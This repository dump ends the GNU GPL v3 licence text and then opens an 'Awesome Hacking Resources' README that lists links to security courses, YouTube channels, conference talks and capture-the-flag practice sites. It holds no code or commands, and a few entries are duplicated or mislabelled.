holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>. |
|
Markdown | Awesome-Hacking-Resources/README.md | <h1 align="center">
<br>
<img width="200" src="https://github.com/sindresorhus/awesome/raw/main/media/logo.svg" alt="awesome">
<br>
</h1>
# Awesome Hacking Resources  
A collection of hacking / penetration testing resources to make you better!
**Let's make it the biggest resource repository for our community.**
**You are welcome to fork and [contribute](https://github.com/vitalysim/Awesome-Hacking-Resources/blob/master/contributing.md#contribution-guidelines).**
We started a new [tools](https://github.com/vitalysim/Awesome-Hacking-Resources/blob/master/tools.md) list, come and contribute
## Table of Contents
* [Learning the Skills](#learning-the-skills)
* [YouTube Channels](#youtube-channels)
* [Companies](#Companies)
* [Conferences](#Conferences)
* [NEWS](#NEWS)
* [Sharpening Your Skills](#sharpening-your-skills)
* [Reverse Engineering, Buffer Overflow and Exploit Development](#reverse-engineering-buffer-overflow-and-exploit-development)
* [Privilege Escalation](#privilege-escalation)
* [Network Scanning / Reconnaissance](#network-scanning--reconnaissance)
* [Malware Analysis](#malware-analysis)
* [Vulnerable Web Application](#vulnerable-web-application)
* [Vulnerable OS](#vulnerable-os)
* [Exploits](#exploits)
* [Forums](#forums)
* [Archived Security Conference Videos](#archived-security-conference-videos)
* [Online Communities](#online-communities)
* [Online News Sources](#online-news-sources)
* [Linux Penetration Testing OS](#linux-penetration-testing-os)
### Learning the Skills
Name | Description
---- | ----
[CS 642: Intro to Computer Security](http://pages.cs.wisc.edu/~ace/cs642-spring-2016.html) | academic content, full semester course, includes assigned readings, homework and github refs for exploit examples. NO VIDEO LECTURES.
[CyberSec WTF](https://cybersecurity.wtf) | CyberSec WTF Web Hacking Challenges from Bounty write-ups
[Cybrary](https://www.cybrary.it/) | coursera style website, lots of user-contributed content, account required, content can be filtered by experience level
[Free Cyber Security Training](https://www.samsclass.info/) | Academic content, 8 full courses with videos from a quirky instructor sam, links to research, defcon materials and other recommended training/learning
[Hak5](https://www.hak5.org/) | podcast-style videos covering various topics, has a forum, "metasploit-minute" video series could be useful
[Hopper's Roppers Security Training](https://hoppersroppers.org/training.html) | Four free self-paced courses on Computing Fundamentals, Security, Capture the Flags, and a Practical Skills Bootcamp that help beginners build a strong base of foundational knowledge. Designed to prepare for students for whatever they need to learn next.
[Learning Exploitation with Offensive Computer Security 2.0](http://howto.hackallthethings.com/2016/07/learning-exploitation-with-offensive.html) | blog-style instruction, includes: slides, videos, homework, discussion. No login required.
[Mind Maps](http://www.amanhardikar.com/mindmaps.html) | Information Security related Mind Maps
[MIT OCW 6.858 Computer Systems Security](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/) | academic content, well organized, full-semester course, includes assigned readings, lectures, videos, required lab files.
[OffensiveComputerSecurity](https://www.cs.fsu.edu/~redwood/OffensiveComputerSecurity/lectures.html) | academic content, full semester course including 27 lecture videos with slides and assign readings
[OWASP top 10 web security risks](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) | free courseware, requires account
[SecurityTube](http://www.securitytube.net/) | tube-styled content, "megaprimer" videos covering various topics, no readable content on site.
[Seed Labs](http://www.cis.syr.edu/~wedu/seed/labs.html) | academic content, well organized, featuring lab videos, tasks, needed code files, and recommended readings
[TryHackMe](https://tryhackme.com/) | Designed prebuilt challenges which include virtual machines (VM) hosted in the cloud ready to be deployed
### YouTube Channels
Name | Description
---- | ----
[0patch by ACROS Security](https://www.youtube.com/channel/UCwlGrzF4on-bjiBhD8lO3QA) | few videos, very short, specific to 0patch
[BlackHat](https://www.youtube.com/channel/UCJ6q9Ie29ajGqKApbLqfBOg) | features talks from the BlackHat conferences around the world
[Christiaan008](https://www.youtube.com/channel/UCEPzS1rYsrkqzSLNp76nrcg) | hosts a variety of videos on various security topics, disorganized
| <td colspan="2" > **Companies** </td>
[Detectify](https://www.youtube.com/channel/UCm6N84sAaQ-BiNdCaaLT4qg) | very short videos, aimed at showing how to use Detictify scanner
[Hak5](https://www.youtube.com/user/Hak5Darren) | see Hak5 above
[Kaspersky Lab](https://www.youtube.com/channel/UCGhEv7BFBWdo0k4UXTm2eZg) | lots of Kaspersky promos, some hidden cybersecurity gems
[Metasploit](https://www.youtube.com/channel/UCx4d2aRIfxfEUdS_5YIYKPg) | collection of medium length metasploit demos, ~25minutes each, instructional
[ntop](https://www.youtube.com/channel/UCUYWuYlYKD5Yq5qBz0AIXJw/feed) | network monitoring, packet analysis, instructional
[nVisium](https://www.youtube.com/channel/UCTE8R-Otq_kVTo08eLsfeyg) | Some nVisum promos, a handful of instructional series on Rails vulns and web hacking
[OpenNSM](https://www.youtube.com/user/OpenNSM/feed) | network analysis, lots of TCPDUMP videos, instructional,
[OWASP](https://www.youtube.com/user/OWASPGLOBAL) | see OWASP above
[Rapid7](https://www.youtube.com/channel/UCnctXOUIeRFu1BR5O0W5e9w) | brief videos, promotional/instructional, ~ 5 minutes
[Securelist](https://www.youtube.com/user/Securelist/featured) | brief videos, interviews discussing various cyber security topics
[Segment Security](https://www.youtube.com/channel/UCMCI9TE3-PZ7CgKk7X6Qd_w/featured) | promo videos, non-instructional
[SocialEngineerOrg](https://www.youtube.com/channel/UCC1vbVVbYdNe-OZRldj-U6g) | podcast-style, instructional, lengthy content ~1 hr each
[Sonatype](https://www.youtube.com/user/sonatype/featured) | lots of random videos, a good cluster of DevOps related content, large range of lengths, disorganized
[SophosLabs](https://www.youtube.com/user/SophosLabs/featured) | lots of brief, news-style content, "7 Deadly IT Sins" segment is of note
[Sourcefire](https://www.youtube.com/user/SourcefireInc/featured) | lots of brief videos covering topics like botnets, DDoS ~5 minutes each
[Station X](https://www.youtube.com/channel/UC-vWmE-BHcUrYW5zwDijL1g) | handful of brief videos, disorganized, unscheduled content updates
[Synack](https://www.youtube.com/channel/UCRH0mvESjZ7eKY1LJZDPIbw/featured) | random, news-style videos, disorganized, non-instructional
[TippingPoint Zero Day Initiative](https://www.youtube.com/channel/UChbH7B5YhXANmlMYJRHpw0g) | very brief videos ~30 sec, somewhat instructional
[Tripwire, Inc.](https://www.youtube.com/user/TripwireInc/videos) | some tripwire demos, and random news-style videos, non-instructional
[Vincent Yiu](https://www.youtube.com/channel/UCFVI3_M1zqFzEok2sTeEP8w/featured) | handful of videos from a single hacker, instructional
| <td colspan="2"> **Conferences** </td>
[44contv](https://www.youtube.com/user/44contv) | in
[MIT OCW 6.858 Computer Systems Security](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science) |Information security con based in London, lengthy instructional videos
[BruCON Security Conference](https://www.youtube.com/channel/UCqwMU1l90lf9BLersW6eAHw) | security and hacker conference based in b\Belgium, lots of lengthy instructinoal videos
[BSides Manchester](https://www.youtube.com/channel/UC1mLiimOTqZFK98VwM8Ke4w) | security and hacker con based in Mancheseter, lots of lengthy videos
[BSidesAugusta](https://www.youtube.com/channel/UC85CvsnrVlD_44eEgzb2OfA) | security con based in Augusta, Georgia, lots of lengthy instructional videos
[CarolinaCon](https://www.youtube.com/channel/UCTY3Dpz68CyrjwRzqkE4sFw) | security con based in North Carolina, associated with various 2600 chapters, lots of lengthy instructional content
[Cort Johnson](https://www.youtube.com/channel/UCV9r-yMeARWVCJEesim25Ag) | a handful of lengthy con-style talks from Hack Secure Opensec 2017
[DevSecCon](https://www.youtube.com/channel/UCgxhfP2Hi8MQYz6ZkwpLA0A) | lenghty con videos covering DevSecOps, making software more secure
[Garage4Hackers - Information Security](https://www.youtube.com/channel/UCDqagqREZlmJitWco-yPtvw/feed) | a handful of lengthy videos, About section lacks description
[HACKADAY](https://www.youtube.com/channel/UCnv0gfLQFNGPJ5MHSGuIAkw) | lots of random tech content, not strictly infosec, some instructional
[Hack In The Box Security Conference](https://www.youtube.com/channel/UC0BJVNTIEbG8CLG-xVVWJnA) | lengthy con-style instructional talks from an international security con
[Hack in Paris](https://www.youtube.com/channel/UC7xJU9_oqw-vS6OJExS-2iA) | security con based in paris, features lots of instructional talks, slides can be difficult to see.
[Hacklu](https://www.youtube.com/channel/UCI6B0zYvK-7FdM0Vgh3v3Tg/feed) | lots of lengthy con-style instructional videos
[Hacktivity](https://www.youtube.com/user/hacktivity/feed) | lots of lengthy con-style instructional videos from a con in central/eastern europe
[Hardwear.io](https://www.youtube.com/channel/UChwYb9xc9tZXquQxu4G0l_g/featured) | handful of lengthy con-style video, emphasis on hardware hacks
[IEEE Symposium on Security and Privacy](https://www.youtube.com/channel/UC6pXMS7qre9GZW7A7FVM90Q) | content from the symposium; IEEE is a professional association based in the us, they also publish various journals
[LASCON](https://www.youtube.com/channel/UCDHsOiMPS-SLppAOAJRD37Q) | lengthy con-style talks from an OWASP con held in Austin, TX
[leHACK](https://www.youtube.com/channel/UCSxk_CUfES4ly5Sspc0Vorw) | leHACK is the oldest ( 2003 ), leading, security conference in Paris, FR
[Marcus Niemietz](https://www.youtube.com/channel/UCtThfJl65L04ukWp0XZi3yg/videos) | lots of instructional content, associated with HACKPRA, an offensive security course from an institute in Germany
[Media.ccc.de](https://www.youtube.com/channel/UC2TXq_t06Hjdr2g_KdKpHQg) | The real official channel of the chaos computer club, operated by the CCC VOC - tons of lengthy con-style vids
[NorthSec](https://www.youtube.com/channel/UCqVhMzTdQK5VAosAGkMtpJw) | lengthy con-style talks from an applied security conference in Canada
[Pancake Nopcode](https://www.youtube.com/channel/UC3G6k7XfTgcWD2PJR8qJSkQ) | channel of Radare2 whiz Sergi "pancake" Alvarez, Reverse Engineering Content
[Psiinon](https://www.youtube.com/channel/UC-3qyzm4f29C12KGp3-12bQ) | medium length instructional videos, for the OWASP Zed Attack Proxy
[SJSU Infosec](https://www.youtube.com/channel/UCDNzNvZlYK8jZLsUbdiGrsQ/videos) | handful of lengthy instructional videos from San Jose State university Infosec
[Secappdev.org](https://www.youtube.com/channel/UCSii2fuiLLlGqaR6sR_y0rA) | tons of lengthy instructional lectures on Secure App Development
[Security Fest](https://www.youtube.com/channel/UCByLDp7r7gHGoO7yYMYFeWQ) | medium length con-style talks from a security festival in Sweden
[SecurityTubeCons](https://www.youtube.com/channel/UC2wNN-Zqiq4J1PLPnyMBWUg) | an assortment of con-style talks from various cons including BlackHat and Shmoocon
[ToorCon](https://www.youtube.com/channel/UCnzjmL0xkTBYwFZD7agHGWw) | handful of medium length con videos from con based in San Diego, CA
[USENIX Enigma Conference](https://www.youtube.com/channel/UCIdV7bE97mSPTH1mOi_yUrw/feed) | medium length "round table discussion with leading experts", content starts in 2016
[ZeroNights](https://www.youtube.com/channel/UCtQ0fPmP4fCGBkYWMxnjh6A) | a lot of con-style talks from international conference ZeroNights
| <td colspan = "2"> **News** </td>
[0x41414141](https://www.youtube.com/channel/UCPqes566OZ3G_fjxL6BngRQ) | Channel with couple challenges, well explained
[Adrian Crenshaw](https://www.youtube.com/user/irongeek) | lots of lengthy con-style talks
[Corey Nachreiner](https://www.youtube.com/channel/UC7dUL0FbVPGqzdb2HtWw3Xg) | security newsbites, 2.7K subscribers, 2-3 videos a week, no set schedule
[BalCCon - Balkan Computer Congress](https://www.youtube.com/channel/UCoHypmu8rxlB5Axh5JxFZsA) | Long con-style talks from the Balkan Computer Congress, doesn't update regularly
[danooct1](https://www.youtube.com/channel/UCqbkm47qBxDj-P3lI9voIAw) | lots of brief screenshot, how-to vids regarding malware, regular content updates, 186K followerss
[DedSec](https://www.youtube.com/channel/UCx34ZZW2KgezfUPPeL6m8Dw) | lots of brief screenshot how-to vids based in Kali, no recent posts.
[DEFCON Conference](https://www.youtube.com/channel/UC6Om9kAkl32dWlDSNlDS9Iw) | lots of lengthy con-style vids from the iconical DEFCON
[DemmSec](https://www.youtube.com/channel/UCJItQmwUrcW4VdUqWaRUNIg) | lots of pen testing vids, somewhat irregular uploads, 44K followers
[Derek Rook - CTF/Boot2root/wargames Walkthrough](https://www.youtube.com/channel/UCMACXuWd2w6_IEGog744UaA) | lots of lengthy screenshot instructional vids, with
[Don Does 30](https://www.youtube.com/channel/UCarxjDjSYsIf50Jm73V1D7g) | amateur pen-tester posting lots of brief screenshot vids regularly, 9K Followers
[Error 404 Cyber News](https://www.youtube.com/channel/UC4HcNHFKshqj-aeyi6imW7Q) | short screen-shot videos with loud metal, no dialog, bi-weekly
[Geeks Fort - KIF](https://www.youtube.com/channel/UC09NdTL2hkThGLSab8chJMw) | lots of brief screenshot vids, no recent posts
[GynvaelEN](https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg) | Security streams from Google Researcher. Mainly about CTFs, computer security, programing and similar things.
[HackerSploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) | regular posts, medium length screenshot vids, with dialog
[HACKING TUTORIALS](https://www.youtube.com/channel/UCbsn2kQwNxcIzHwbdDjzehA) | handful of brief screenshot vids, no recent posts.
[iExplo1t](https://www.youtube.com/channel/UCx0HClQ_cv0sLNOVhoO2nxg/videos) | lots of screenshot vids aimed at novices, 5.7K Followers, no recent posts
[JackkTutorials](https://www.youtube.com/channel/UC64x_rKHxY113KMWmprLBPA) | lots of medium length instructional vids with some AskMe vids from the youtuber
[John Hammond](https://www.youtube.com/user/RootOfTheNull) | Solves CTF problems. contains penTesting tips and tricks
[Latest Hacking News](https://www.youtube.com/user/thefieldhouse/feed) | 10K followers, medium length screenshot videos, no recent releases
[LionSec](https://www.youtube.com/channel/UCCQLBOt_hbGE-b9I696VRow) | lots of brief screenshot instructional vids, no dialog
[LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) | Lots of brief-to-medium instructional vids, covering things like buffer overflows and exploit writing, regular posts.
[Metasploitation](https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZrg) | lots of screenshot vids, little to no dialogue, all about using Metasploit, no recent vids.
[NetSecNow](https://www.youtube.com/channel/UC6J_GnSAi7F2hY4RmnMcWJw) | channel of pentesteruniversity.org, seems to post once a month, screenshot instructional vids
[Open SecurityTraining](https://www.youtube.com/channel/UCthV50MozQIfawL9a_g5rdg) | lots of lengthy lecture-style vids, no recent posts, but quality info.
[Pentester Academy TV](https://www.youtube.com/channel/UChjC1q6Ami7W0E71TzPZELA) | lots of brief videos, very regular posting, up to +8 a week
[Penetration Testing in Linux](https://www.youtube.com/channel/UC286ntgASMskhPIJQebJVvA) | DELETE
[rwbnetsec](https://www.youtube.com/channel/UCAJ8Clc3188ek9T_5XTVzZQ) | lots of medium length instructional videos covering tools from Kali 2.0, no recent posts.
[Samy Kamkar's Applied Hacking](https://www.youtube.com/user/s4myk) | brief to medium length instructional vids from the creator of PoisonTap for the Raspberry Pi Zero, no recent content, last updated in 2016
[SecureNinjaTV](https://www.youtube.com/channel/UCNxfV4yR0nIlhFmfwcdf3BQ) | brief news bites, irregular posting, 18K followers
[Security Weekly](https://www.youtube.com/channel/UCg--XBjJ50a9tUhTKXVPiqg) | regular updates, lengthy podcast-style interviews with industry pros
[Seytonic](https://www.youtube.com/channel/UCW6xlqxSY3gGur4PkGPEUeA) | variety of DIY hacking tutorials, hardware hacks, regular updates
[Shozab Haxor](https://www.youtube.com/channel/UCBwub2kRoercWQJ2mw82h3A) | lots of screenshot style instructional vids, regular updates, windows CLI tutorial
[SSTec Tutorials](https://www.youtube.com/channel/UCHvUTfxL_9bNQgqzekPWHtg) | lots of brief screenshot vids, regular updates
[Tradecraft Security Weekly](https://wiki.securityweekly.com/Tradecraft_Security_Weekly) | Want to learn about all of the latest security tools and techniques?
[Troy Hunt](https://www.youtube.com/channel/UCD6MWz4A61JaeGrvyoYl-rQ) | lone youtuber, medium length news videos, 16K followers, regular content
[Waleed Jutt](https://www.youtube.com/channel/UCeN7cOELsyMHrzfMsJUgv3Q) | lots of brief screenshot vids covering web security and game programming
[webpwnized](https://www.youtube.com/channel/UCPeJcqbi8v46Adk59plaaXg) | lots of brief screenshot vids, some CTF walkthroughs
[Zer0Mem0ry](https://www.youtube.com/channel/UCDk155eaoariJF2Dn2j5WKA) | lots of brief c++ security videos, programming intensive
[LionSec](https://www.youtube.com/channel/UCCQLBOt_hbGE-b9I696VRow) | lots of brief screenshot instructional vids, no dialog
[Adrian Crenshaw](https://www.youtube.com/user/irongeek) | lots of lengthy con-style talks
[HackerSploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) | regular posts, medium length screenshot vids, with dialog
[Derek Rook - CTF/Boot2root/wargames Walkthrough](https://www.youtube.com/channel/UCMACXuWd2w6_IEGog744UaA) | lots of lengthy screenshot instructional vids, with
[Tradecraft Security Weekly](https://wiki.securityweekly.com/Tradecraft_Security_Weekly) | Want to learn about all of the latest security tools and techniques?
[IPPSec](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) | Hackthebox.eu retired machine vulnerable machine walkthroughs to help you learn both basic and advanced processes and techniques
[The Daily Swig](https://portswigger.net/daily-swig) | Latest Cybersecurity News
### Sharpening Your Skills
Name | Description
---- | ----
[Backdoor](https://backdoor.sdslabs.co) | pen testing labs that have a space for beginners, a practice arena and various competitions, account required
[The cryptopals crypto challenges](http://cryptopals.com/) | A bunch of CTF challenges, all focused on cryptography.
[Challenge Land](http://challengeland.co/) | Ctf site with a twist, no simple sign-up, you have to solve a challengeto even get that far!
[Crackmes.de Archive (2011-2015)](https://tuts4you.com/download.php?view.3152) | a reverse engineering information Repo, started in 2003
[Crackmes.one](https://crackmes.one/) | This is a simple place where you can download crackmes to improve your reverse engineering skills.
[CTFLearn](https://ctflearn.com/) | an account-based ctf site, where users can go in and solve a range of challenges
[CTFs write-ups](https://github.com/ctfs) | a collection of writeups from various CTFs, organized by
[CTF365](https://ctf365.com/) | account based ctf site, awarded by Kaspersky, MIT, T-Mobile
[The enigma group](https://www.enigmagroup.org/) | web application security training, account based, video tutorials
[Exploit exercises](https://exploit-exercises.com/) | hosts 5 fulnerable virtual machines for you to attack, no account required
[Google CTF](https://github.com/google/google-ctf) | Source code of Google 2017, 2018 and 2019 CTF
[Google CTF 2019](https://capturetheflag.withgoogle.com/) | 2019 edition of the Google CTF contest
[Google's XSS game](https://xss-game.appspot.com/) | XSS challenges, and potentially a chance to get paid!
[Hack The Box](https://www.hackthebox.gr/en/login) | Pen testing labs hosting over 39 vulnerable machines with two additional added every month
[Hacker test](http://www.hackertest.net/) | similar to "hackthissite", no account required.
[Hacker Gateway](https://www.hackergateway.com/) | ctfs covering steganography, cryptography, and web challengs, account required
[Hacksplaining](https://www.hacksplaining.com/) | a clickthrough security informational site, very good for beginners.
[hackburger.ee](http://hackburger.ee/) | hosts a number of web hacking challenges, account required
[Hack.me](https://hack.me/) | lets you build/host/attack vulnerable web apps
[Hack this site!](https://www.hackthissite.org/) | an oldy but goodie, account required, users start at low levels and progress in difficulty
[knock.xss.moe](https://knock.xss.moe) | XSS challenges, account required.
[Lin.security](https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/) | Practice your Linux privilege escalation
[noe.systems](http://noe.systems/) | Korean challenge site, requires an account
[Over the wire](http://overthewire.org/wargames/) | A CTF that's based on progressive levels for each lab, the users SSH in, no account recquired
[Participating Challenge Sites](http://www.wechall.net/active_sites/all/by/site_avg/DESC/page-1) | aims at creating a universal ranking for CTF participants
[PentesterLab](https://pentesterlab.com/) | hosts a variety of exercises as well as various "bootcamps" focused on specific activities
[Pentestit](https://lab.pentestit.ru/) | acocunt based CTF site, users have to install open VPN and get credentials
[Pentest Practice](https://www.pentestpractice.com/) | account based Pentest practice, free to sign up, but there's also a pay-as-you-go feature
[Pentest.training](https://pentest.training) | lots of various labs/VMS for you to try and hack, registry is optional.
[PicoCTF](https://2017game.picoctf.com/) | CTF hosted by Carnegie Mellon, occurs yearly, account required.
[pwnable.kr](http://pwnable.kr/) | Don't let the cartoon characters fool you, this is a serious CTF site that will teach you a lot, account required
[pwnable.tw](http://pwnable.tw/) | hosts 27 challenges accompanied with writeups, account required
[Ringzer0 Team](https://ringzer0team.com/challenges) | an account based CTF site, hosting over 272 challenges
[ROP Emporium](https://ropemporium.com/) | Return Oriented Programming challenges
[SmashTheStack](http://smashthestack.org/wargames.html) | hosts various challenges, similar to OverTheWire, users must SSH into the machines and progress in levels
[Shellter Labs](https://shellterlabs.com/en/) | account based infosec labs, they aim at making these activities social
[Solve Me](http://solveme.safflower.kr/) | "yet another challenge", account required.
[Vulnhub](https://www.vulnhub.com/) | site hosts a ton of different vulnerable Virtual Machine images, download and get hacking
[websec.fr](https://websec.fr/) | Focused on web challenges, registration is optional.
[tryhackme](https://tryhackme.com) | Awesome platform to start learning cybersecurity, account is needed
[webhacking.kr](https://webhacking.kr) | lots of web security challenges are available, recommended for beginners. You need to solve a simple challenge to sign up.
[Stereotyped Challenges](https://chall.stypr.com/) | Challenges for web security professionals, account required.
[Stripe CTF 2.0](https://github.com/stripe-ctf) | Past security contest where you can discover and exploit vulnerabilities in mock web applications.
[Windows / Linux Local Privilege Escalation Workshop](https://github.com/sagishahar/lpeworkshop) | Practice your Linux and Windows privilege escalation
